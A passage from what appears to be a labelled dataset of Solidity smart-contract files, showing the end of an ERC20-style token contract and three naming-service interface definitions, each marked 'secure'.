amount);\n _afterTokenTransfer(from, to, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][msg.sender];\n require(currentAllowance >= amount);\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n\n return true;\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount);\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2886.sol",
"secure": 1,
"size_bytes": 3446
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface WnsRegistryInterface {\n function owner() external view returns (address);\n function getWnsAddress(\n string memory _label\n ) external view returns (address);\n function getRecord(uint256 _tokenId) external view returns (string memory);\n function getRecord(bytes32 _hash) external view returns (uint256);\n}",
"file_name": "solidity_code_2887.sol",
"secure": 1,
"size_bytes": 404
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface WnsERC721Interface {\n function ownerOf(uint256 tokenId) external view returns (address);\n}",
"file_name": "solidity_code_2888.sol",
"secure": 1,
"size_bytes": 167
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface WnsRegistrarInterface {\n function computeNamehash(\n string memory _name\n ) external view returns (bytes32);\n function recoverSigner(\n bytes32 message,\n bytes memory sig\n ) external view returns (address);\n}",
"file_name": "solidity_code_2889.sol",
"secure": 1,
"size_bytes": 319
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.